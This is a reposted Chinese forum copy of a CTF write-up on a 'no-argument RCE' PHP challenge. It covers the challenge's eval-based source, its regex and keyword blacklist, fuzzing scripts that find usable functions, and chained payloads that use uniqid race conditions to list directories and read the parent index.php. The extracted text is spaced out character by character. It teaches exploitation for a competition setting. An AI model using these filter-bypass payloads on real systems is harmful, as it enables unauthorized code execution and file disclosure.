搜索

[22057] 2021-06-11_从一道CTF题学习Fuzz思想

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-06-11_从一道CTF题学习Fuzz思想 从 一 道 C T F 题 学 习 F u z z 思 想 L e m o n S e c   2 0 2 1 - 0 6 - 1 1 作 者 ： x i a o l e u n g ， 来 源 ： 先 知 社 区 前 言 前 言 最 近 参 加 了 两 个 C T F 比 赛 ， 都 遇 到 了 无 参 数 R C E 的 问 题 。 第 一 次 遇 到 虽 然 没 解 出 来 ， 但 是 为 第 二 次 比 赛 遇 到 做 了 基 础 铺 垫 ， 第 二 次 也 迎 刃 而 解 ， 同 时 这 次 比 赛 也 学 到 了 很 多 f u z z 的 方 法 和 思 路 ， 在 这 里 做 个 总 结 。 题 目 题 目 < ? p h p h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; $ c o d e   =   $ _ G E T [ ' c o d e ' ] ; i f   ( ! e m p t y ( $ c o d e ) )   {                 i f   ( ' ; '   = = =   p r e g _ r e p l a c e ( ' / [ a - z ] + ( ( ? R ) ? ) / ' ,   N U L L ,   $ c o d e ) )   {                         i f   ( p r e g _ m a t c h ( ' / r e a d f i l e | i f | t i m e | l o c a l | s q r t | e t | n a | n t | s t r l e n | i n f o | p a t h | r a n d | d e c | b i n | h e x | o c t | p i | e x p | l o g / i ' ,   $ c o d e ) )   {                                         e c h o   ' b y e ~ ' ;                                 }   e l s e   {                                         e v a l ( $ c o d e ) ;                                 }                         }                 e l s e   {                         e c h o   " N o   w a y ! ! ! " ;                 } } e l s e   {                 e c h o   " N o   w a y ! ! ! " ;         } 题 目 分 析 题 目 分 析 从 题 目 第 一 个 正 则 （ ） 只 匹 配 [ a - z ] + ( ( ? R ) ? ) 字 符 串 + （ ）
的 类 型 ， 并 且 括 号 内 为 空 字 符 串 仅 可 以 由 2 6 个 小 写 字 母 组 成 。 我 们 再 看 代 码 ， 函 数 对 匹 配 成 功 的 字 符 串 替 换 为 N U I L L ， 如 果 剩 下 的 职 业 那 么 就 会 通 过 这 个 正 则 。 我 们 用 一 个 代 码 来 测 试 ， 我 们 传 两 个 参 数 然 后 对 这 两 个 参 数 进 行 替 换 后 打 印 看 剩 下 的 是 什 么 值 ， 就 能 很 直 观 的 看 到 这 一 点 。 我 们 分 别 传 入 了 、 和 , 可 以 看 到 参 数 一 最 终 替 换 剩 下 一 个 分 号 ， 而 参 数 二 无 法 匹 配 成 功 替 换 失 败 ， 参 数 三 是 e c h o 嵌 套 一 个 p h p i n f o 函 数 ， 同 样 匹 配 成 功 替 换 剩 下 一 个 分 号 。 那 么 这 里 就 说 明 了 我 们 这 个 正 则 虽 然 不 能 能 够 匹 配 存 在 参 数 的 函 数 ， 但 是 可 以 嵌 套 函 数 使 用 。 题 目 第 二 个 正 则 过 滤 了 哪 些 函 数 呢 ， 这 个 我 们 可 以 直 接 编 写 两 个 脚 本 进 行 F U Z Z , 第 一 个 脚 本 可 以 获 取 P H P 中 所 有 内 置 函 数 ， 将 它 写 到 一 个 文 本 文 件 中 。 第 二 个 p y t h o n 脚 本 则 是 匹 配 能 够 使 用 的 函 数 ， 并 将 其 打 印 出 来 ， 这 样 一 来 我 们 就 知 道 有 哪 些 函 数 能 够 为 我 们 所 用 。 p r e g _ r e p l a c e ( ) ( ; ) e c h o ( ) ; e c h o ( 1 2 2 ) ; e c h o ( p h p i n f o ( ) ) ( ; ) ( ; ) ( r e a d f i l e | i f | t i m e | l o c a l | s q r t | e t | n a | n t | s t r l e n | i n f o | p a t h | r a n d | d e c | b i n | h e x | o c t | p i | e x p | l o g )
获 取 P H P 内 置 函 数 < ? p h p $ a   =   g e t _ d e f i n e d _ f u n c t i o n s ( ) [ ' i n t e r n a l ' ] ; $ f i l e   =   f o p e n ( " f u n c t i o n . t x t " , " w + " ) ; f o r e a c h   ( $ a   a s   $ k e y   )   {   e c h o   f p u t s ( $ f i l e , $ k e y . " r n " ) ; } f c l o s e ( $ f i l e ) ; ? > 查 找 能 使 用 的 函 数 i m p o r t   r e f   =   o p e n ( ' f u n c t i o n . t x t ' , ' r ' ) f o r   i   i n   f :         f u n c t i o n   =   r e . f i n d a l l ( r ' / r e a d f i l e | i f | t i m e | l o c a l | s q r t | e t | n a | n t | s t r l e n | i n f o | p a t h | r a n d | d e c | b i n | h e x | o c t | p i | e x p | l o g / ' , i )           i f   f u n c t i o n   = =   [ ]   a n d   n o t   ' _ '   i n   i :                 p r i n t ( i ) 构 造 构 造 p a y l o a d - 解 决 问 题 解 决 问 题 首 先 题 目 出 题 人 用 了 他 工 地 英 语 ( 开 个 玩 笑 ) 提 示 了 我 们 f l a g 在 上 层 目 录 下 的 ， 那 我 们 就 需 要 读 取 上 层 目 录 下 的 的 源 码 , 我 们 知 道 函 数 式 能 够 读 取 源 码 ， 但 是 他 必 须 带 有 参 数 也 就 是 ， 在 不 断 阅 读 函 数 中 我 发 现 函 数 能 够 生 成 动 态 的 字 符 串 ， 但 是 他 前 半 部 分 是 固 定 不 变 的 ， 但 是 后 半 部 分 是 动 态 变 化 的 ， 正 好 i n d e x . p h p i n d e x . p h p s c a n d i r ( ) （ ' . ' ） s c a n d i r ( ' . ' ) u n i q i d ( ) s t r r e v ( )
函 数 也 可 以 使 用 那 么 ， 我 们 就 可 以 将 它 翻 转 过 来 然 后 直 接 转 换 转 换 为 c h a r 不 久 可 以 动 态 构 造 任 意 字 符 了 吗 ？ 发 现 这 点 ， 我 立 刻 写 了 个 脚 本 去 验 证 我 的 想 法 。 < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; f o r ( $ i = 0 ; $ i < 1 0 0 0 ; $ i + + ) e c h o ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ; ? > 从 脚 本 的 运 行 结 果 来 看 已 经 达 到 了 预 期 目 的 ， 生 成 了 点 ， 那 么 我 们 通 过 条 件 竞 争 就 可 以 达 到 预 期 目 的 。 那 么 我 们 构 造 如 下 p a y l o a d 去 读 取 文 件 目 录 看 是 否 能 成 功 , 由 于 s c a n d i r 返 回 的 是 数 组 ， 并 且 v a r _ d u m p 是 无 法 通 过 第 一 个 正 则 的 ， 所 以 我 们 可 以 使 用 将 数 组 转 换 为 字 符 串 在 打 印 出 来 。 e c h o ( i m p l o d e ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) ; 我 们 传 参 后 使 用 b u r p s u i t e 进 行 条 件 竞 争 , 可 以 看 到 成 功 获 取 文 件 目 录 。 s t r r e v ( ) ( . ) i m p l o d e ( ) e c h o ( )
那 么 问 题 又 来 了 ， 我 们 该 如 何 去 读 取 上 层 目 录 的 i n d e x . p h p 呢 ？ 首 先 我 们 要 读 取 上 层 目 录 的 文 件 ， 必 须 先 跳 转 到 上 层 目 录 ， 这 里 我 们 从 我 们 脚 本 匹 配 的 结 果 看 函 数 并 未 被 过 滤 ， 所 以 我 们 可 以 使 用 它 先 跳 转 到 上 层 目 录 再 去 读 取 文 件 ， 但 是 要 跳 转 到 上 层 目 录 需 要 构 造 两 个 点 即 那 么 该 如 何 构 造 呢 ， 其 实 很 简 单 ， 我 们 看 上 方 返 回 了 当 前 目 录 下 的 文 件 列 表 ， 其 实 它 是 返 回 来 了 一 个 数 组 ， 这 个 数 组 结 构 如 下 ： 我 们 可 以 发 现 第 二 个 元 素 就 是 两 个 点 ， 我 们 可 以 使 用 函 数 去 获 取 到 这 两 个 点 。 我 们 先 根 据 此 读 取 到 上 层 目 录 列 表 构 造 p a y l o a d 如 下 ： e c h o ( i m p l o d e ( s c a n d i r ( n e x t ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) ) ) ; 传 入 这 个 p a y l o a d 再 使 用 b u r p s u i t e 进 行 条 件 竞 争 , 可 以 发 现 已 经 读 取 了 上 层 目 录 列 表 。 c h d i r ( ) c h d i r ( ' . . ' ) [ 0 = > ' . ' , 1 = > ' . . ' , 3 = > ' i n d e x . p h p ' ] n e x t ( )
可 以 发 现 i n d e x . p h p 是 在 这 个 目 录 列 表 数 组 中 的 最 后 一 个 元 素 , 那 么 我 们 要 读 取 这 个 文 件 名 直 接 读 取 这 个 数 组 中 的 最 后 一 个 元 素 即 可 ， 这 里 我 们 可 以 使 用 函 数 获 取 ， 我 们 先 跳 转 到 上 个 目 录 ： c h d i r ( n e x t ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) 读 取 文 件 呢 ， 我 们 可 以 使 用 第 一 个 p a y l o a d 读 取 到 文 件 目 录 ， 然 后 使 用 e n d ( ) 函 数 去 读 取 最 后 一 个 元 素 ， 进 而 读 取 文 件 这 里 我 们 使 用 f i l e ( ) 函 数 去 读 取 文 件 。 f i l e ( e n d ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) 那 么 综 合 起 来 p a y l o a d 如 下 ： e c h o ( i m p l o d e ( f i l e ( e n d ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( c h d i r ( n e x t ( s c a n d i r ( c h r ( s t r r e v ( u n i q i d ( ) ) ) ) ) ) ) ) ) ) ) ) ) ) ; 但 是 这 里 存 在 一 个 问 题 ， 那 就 是 两 次 去 的 值 不 一 定 都 是 点 ， 那 么 就 需 要 进 行 N 次 爆 破 ， 在 某 一 时 刻 这 两 个 值 都 取 到 点 的 时 候 那 么 就 会 读 取 成 功 。 e n d ( )
当 然 最 后 官 方 p a y l o a d 是 使 用 三 角 函 数 去 算 出 这 个 点 ， 但 是 这 里 主 要 是 将 以 下 我 个 人 的 想 法 ， 也 希 望 这 道 题 的 解 题 思 路 ， 可 以 帮 助 到 其 他 人 。 总 结 总 结 这 道 题 可 以 说 是 上 次 的 p l u s ， 但 是 题 目 不 在 多 更 多 的 是 要 掌 握 F u z z 的 方 法 ， 从 这 次 比 赛 中 我 也 了 解 到 了 无 参 数 函 数 的 利 用 ， 其 实 无 参 数 R C E 的 用 法 很 多 师 傅 都 做 了 很 多 总 结 ， 但 是 我 们 在 遇 到 问 题 时 候 可 能 出 题 人 已 经 将 这 些 网 上 公 开 的 方 法 给 b e n 掉 了 ， 这 时 候 就 需 要 我 们 去 F u z z 去 分 析 。 B y t e C T F - b o r i n g c o d e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理